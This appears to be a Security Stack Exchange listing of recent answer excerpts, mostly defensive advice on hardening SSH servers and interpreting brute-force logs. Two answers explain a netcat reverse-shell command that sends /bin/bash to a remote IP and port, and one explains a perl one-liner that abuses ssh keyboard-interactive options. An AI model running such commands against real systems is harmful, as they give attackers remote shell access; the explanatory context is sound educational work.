New answers tagged

1

There has been a vulnerability reported where an attacker could break out of Virtualbox guest through 3D acceleration and gain access to host OS. This requires that 3D acceleration is enabled for the guest OS.


8

Netcat is a basic network tool for reading/writing TCP/UDP connections. In the example you gave, you are telling it to run the program specified by -e across TCP to the remote machine and port number. In that particular instance you were sending a bash shell to his machine, presumably where he had a netcat listener waiting. Netcat is truly the swiss army ...


11

I'm assuming you meant: ncat -e /bin/bash <ip> <port> The -e argument launches the /bin/bash command when a connection is established. The command then connects out to the IP and executes bash for the remote user to interact with. The remote user gains whatever privs the launching user has. Once this command has been terminated, then so has the ...


2

When you spoof ones IP the answer will not reach you at least not for a long time. As a side effect you can cause what is called Port Stealing. This is happening when one IP is seen on two different ports of a switch. The IP is then assigned to the port the IP was last seen on which might be the port you spoofed the address from. But when the original host ...


2

Checking manual page for ssh-keygen gives hints about generating and verifying the parameters (moduli file): ssh-keygen -G moduli-2048.candidates -b 2048 ssh-keygen -T moduli-2048 -f moduli-2048.candidates which sounds for me like a proven way of doing this. But I also discourage you from doing that. The examples what can go wrong are answered in related ...


0

Consider Joe the Script Kiddie. Joe starts his ssh scanner script. This takes an IP address range, and goes on exploring all devices on that range, checking if port 22 is open. If it is, it assumes it's an ssh server, and can start trying to find usernames and passwords. If your sshd is on a different port, you'll only be susceptible to scanners which do ...


0

I think there is problem with your comparison: while it is possible that every user on the system adds some chosen number to the password it is not possible that every user gets its own chosen SSH port. Therefore a different port can never be a replacement for a better password (and of course you should choose keys anyway). Instead a different port is a ...


0

When a change in the fingerprint of the key is detected, it can mean a few things: the key on the server genuinely changed - this is normal after an OS reinstallation and can happen after the sshd reinstallation someone is posing as your server, trying a MitM attack. This is possible only with password-based authentication. Your comment about a ...


6

This is a good question. The dedicated page from OpenSSH only says: OpenSSH 7.0 and greater similarly disables the ssh-dss (DSA) public key algorithm. It too is weak and we recommend against its use. which is no more detailed than the "inherit weakness" from the announce. I did not find any published explanation about these weaknesses except some ...


2

The problem is in the thing, that the randomart is based on the fingerprint and not on the key itself. This implies that the hashes are different and therefore the ASCII arts too. For example my output when using the same client version and same key: Host key fingerprint is SHA256:v0I6xgzhRSheT19KVcglIbLven9u/xAaVC/GlpjODpo +---[ECDSA 256]---+ | .. ...


0

Looking at the source code and as far as I can see, its completely random. A note from the documentation: If you see the picture is different, the key is different. If the picture looks the same, you still know nothing. The algorithm used here is a worm crawling over a discrete plane, leaving a trace (augmenting the field) everywhere it goes. ...


0

Thanks to @StackzOfZtuff for the linked articles. Using those, this is what I've pieced together by now: The generated parameters can probably be trusted as long as they are regenerated frequently. For a higher security, one would have to check for reused parameters, which could be a sign that something fishy is going on. It's still safer to generate ...


2

With fwknop deployed, anyone using nmap to look for SSHD can't even tell that it is listening - it makes no difference if they want to run a password cracker against SSHD or even if they have a 0-day exploit. I have some notes here for using fwknop. I can also ssh into containers behind NAT with no port open externally.


2

There are a few different reasons why it is safer to use public key authentication rather than password authentication: The secret key never leaves the client machine, thus it is harder to intercept the secret key than the password. This is important in case an attacker perform a mitm-attack against your first connection where the host key is not ...


1

I suppose a good question would be why do you even have SSH open to the WAN, anyway? ... As others have mentioned, administering via a private network is the Holy Grail. The best approximation (and the reason I even bother to answer here) for a WAN connection is an IP wrapper or firewall ruleset that only allows SSH from a particular IP address. One such ...


12

I've heard multiple multiple times to never leave SSH with a password open over the internet. Why is this so bad? I understand the password can be bruteforced, but what if it is a very strong password that would takes eons to crack? The very strong benefit of disabling password SSH logins is really in preventing default accounts with weak passwords ...


26

The main risk is that the initial connection can be intercepted by a Man-In-The-Middle, so an attacker can retrieve the password. The first time a user connects to an SSH server, something similar to the following is displayed: $ ssh scanme.nmap.org The authenticity of host 'scanme.nmap.org (45.33.32.156)' can't be established. ECDSA key fingerprint is ...


62

Why is this so bad? Because there are tons of bots just scanning the web for open ports and trying to log in, once a scanner bot finds an open SSH port it may be queued for another bot (or botnet) to try to brute force the password. One of the risks here is that eventually, they may succeed in figuring out the password and take control of the server. ...


2

It is a bit like moving SSH to a different port. You just hide something (poorly) and that shouldn't be something to rely the security of a system on. It might throw off the attackers that really don't know what they are doing (and they will not get into ssh anyway if it is setup properly) but is useless otherwise.


0

As I understand it, a key is not that different from a password; it is just much, much longer and therefore harder to crack. Plus you need a password on top. But I would also second that it makes sense to only allow certain IP addresses to even connect to your SSH port. It decreases the log files, and it is generally good practice to only allow access (not ...


3

Another thing to consider is the possibility of vulnerabilities (albeit known for some time or zero-day) in the sshd daemon itself, which could be exploited by an attacker. To mitigate this, it's best to open sshd only to users working from known IPs that you trust, or through a VPN, if possible.


8

You are basically correct. It is obfuscation. Obfuscation is not without value, but you should not rely on it. The first answer is correct, BTW, that it is good practice to host management services such as SSH on a separate network (i.e., not the internet).


40

Unless that IP address belongs to a dedicated management network which implements additional security, it is a waste of resources. Both IPs are, obviously, ending up on the same server. This means that, unless they come in through different networks (i.e. a management network that implements additional protection), there will be no difference locally ...


8

Do as many mitigations as you can. Your goal is to force a wide variety of potential attackers to spend more effort, resources, computer time (and thus electric bill), and most especially "skilled" (rare or scarce, and thus valuable) person-hours. No one protection works against every threat. Not every threat can be protected against while still remaining ...


1

Here you go: Generete SSH keys + protect them with password Allow only specific user to login (AllowUsers) Allow from specific IP username@192.168.1.1 Change default port Create firewall rules and last thing install fail2ban.


0

You successfully blocked that specific ip, but let me tell you something you're gonna get thousands of such malicious computers trying to brute force your ssh in order to get into your box. Some tips: Switch to authentication via certificates than passwords Change default ssh port (this is quite helpful - default is 22) Some lower level tips: Disable ...


0

I use one key per client computer, and all the remote servers I need to access have 1 or more lines in their authorized_keys file, depending on which clients should be allowed to access them. So if you have a home laptop, a home mobile, and a work laptop, each of those would get one keypair. Then you upload each public key to every remote computer that each ...


0

Continuing my obsession with hardware tokens and YubiKey NEO devices, I generated an GPG key on token, exported the public key, and used gpgkey2ssh to convert it to the format that goes in my authorized_keys file. Instead of using ssh-agent to decrypt my key file from disk, I plug in my security token and use gpg-agent. Access now requires that the key is ...


0

While there's nothing I can imagine that will protect you from a really determined individual with admin access to your machines, an alternative to passphrases on files stored locally is to use a smart card - there is support in PuTTY, WinSCP and for ssh/scp/sftp on Linux and probably other OS too.


0

Even with the passphrase, it is probably a matter of time before it gets decrypted. Also you'll have to integrate the totp service, which might not be possible if you're not the admin. Unfortunately key rotation then becomes a necessity.


2

You can encrypt your key file and ssh will prompt you password to decrypt when you are connecting to your server. ssh-keygen -p [-f keyfile] ssh-keygen will prompt for a password used to encrypt the key.


2

This is really broad question and not exact. There are two ways how to use GSSAPI for SSH logins: GSSAPI Key Exchange - not implemented in openssh, but distributed as a patch (part of RHEL, Fedora, but probably also Debians) GSSAPIAuthentication - part of openssh GSSAPI Key Exchange The plus is certainly the manageability - with GSSAPI key exchange you ...


-2

Consider some ssh key management software that can store and dynamically manage (change) ssh keys, this is directly analogous to a password management system. However these solutions come at a cost !


5

You can try Wizcraft's block list, and format it accordingly. At the time of my post, this blocklist was last updated on Thursday, 24-Dec-2015 11:01:52 MST. Keep in mind, Taiwan is not part of Mainland China, but that Hong Kong now belongs to, and is controlled by Beijing. If you only use your server in America exclusively, you could use all of those rules ...


1

`perl -e 'print "pam," x 10000'` is executed in subshell, prints 10000 times pam divided by comma (,). The returned string is used as an argument for -oKbdInteractiveDevices= option (see manual page for ssh): KbdInteractiveDevices Specifies the list of methods to use in keyboard-interactive authentication. Multiple method names must be ...


1

You really do want SELinux, or an alternative such as AppArmor, SMACK, or AKARI/TOMOYO. Take these examples from the book SELinux System Administration -- Consider the example of the shadow file again. A MAC system can be configured so that the file can only be read from and written to by particular processes. A user logged on as root cannot directly ...


1

Do not give the keys away from your owned and maintained hardware. If you don't have a root on your computer, user Smart Card (or Yubikey). As already said, nothing protects your keys (or data) from physical access and root user. Not even SELinux (root can do everything, if is unconfined!). Cryptography does the job only partially (encrypted keys can be ...


1

You can also slow down the password guessing attacker fairly easily. In the file /etc/pam.d/sshd, you can add a line like this: auth optional pam_faildelay.so delay=7000000 On every failed sshd login attempt, the PAM module will wait 7 seconds. You may want to increase or decrease the delay, because if you fat-finger your own password, you wait 7 ...


1

Since most everybody talks mostly of disadvantages (which are real), I'd like to share several advantages here: you really want to avoid automated attacks. Unless your are a high-profile user, vast majority of attacks will not be targeted to you, but automated best effort attacks which would just try default ports. Avoiding them helps in several ways: ...


3

Since all SSH logins to your server are redirected via the same local IP address, I would advise to use fail2ban with care, if you decide to use it. Installing fail2ban on the same server as sshd will result in the IP 172.25.1.1 being blocked on the spot. After that, nobody will be able to login via SSH to your server. If you can install fail2ban on the ...


19

Quick note added about fail2ban, as a lot of people have been mentioning it: The frontend is a corporate firewall, the backend only sees the redirection/proxy that comes from the firewall. So no, 172.25.1.1 is not an internal machine compromised. Fail2ban in the backend would only block all possibility to use SSH for stretches at a time as it only sees ...


0

This might have been the Kernel oom-killer in action. How much RAM does your machine have? Does it have swap memory? What could happen is when running out of memory, oom-killer will sacrifice a daemon and that daemon might have been the sshd one. You could confirm this by looking in your messages log /var/log/messages or via journalctl.


8

You are surviving the attack, from appearances. SSH is doing what it's supposed to do. However, see below for some steps you should take ASAP to ensure continued survival. Also, and unfortunately, a system inside the network has been compromised. Too common these days. You should ascertain the nature of this apparently interior attack, but do not assume ...


5

The standard look from the logs seem to be a common brute force attack as the names enlisted in the logs are from a standard dictionary being used. Even the common word-lists consider these as the primary target usernames. Also, the injection is from a Private Class B IP. Don't worry though, as long as the passwords that you have enforced are strong enough ...


28

Yes, you're being bruteforced. But I don't think you should worry about any bruteforce you detect coming from the internet. You should, however, be worried about brute-force attacks coming from your own network. Being bruteforced is very common, and as long you don't use passwords for SSH (or use good passwords), the attack won't be successful at all ...


40

Yes, this looks exactly like a brute-force attack and after googling admins phoenix piglet rainbow it looks like this is the wordlist the attacker is using: https://github.com/hydrogen18/kojoney/blob/master/fake_users Check out line 116 onwards. The wordlist is being used in the exact same order. This appears to be a generic wordlist as it also present on ...


63

Yes it looks like you are experiencing a brute force attack. The attacker is in on a class B private address, so it is likely to be someone with access to your organization's network that is conducting the attack. From the usernames it looks like they are running though a dictionary of common usernames. Have a look at 'How to stop/prevent SSH bruteforce' ...


3

To answer your questions in order: You can see all authorized keys by running the following script with root privileges. #!/bin/bash for X in $(cut -f6 -d ':' /etc/passwd |sort |uniq); do if [ -s "${X}/.ssh/authorized_keys" ]; then echo "### ${X}: " cat "${X}/.ssh/authorized_keys" echo "" fi done Any valid user may create ...


7

could cause remote code execution No remote code execution. No man-in the middle as it was cleared up by Mark. Everything is explained in the Qualys analysis as already linked. But in short: The vulnerable thing is implementation of the Roaming feature in client. Client stores buffer of not send bytes if the connection is suspended. The vulnerable, ...


18

Like Steve Sether said, this is not a man-in-the-middle attack. How dangerous is it? In some cases, buffer overflow attacks are possible. Your private SSH keys can be leaked to an attacker. According to the page: SSH roaming enables a client, in case an SSH connection breaks unexpectedly, to resume it at a later time, provided the server also ...



Top 50 recent answers are included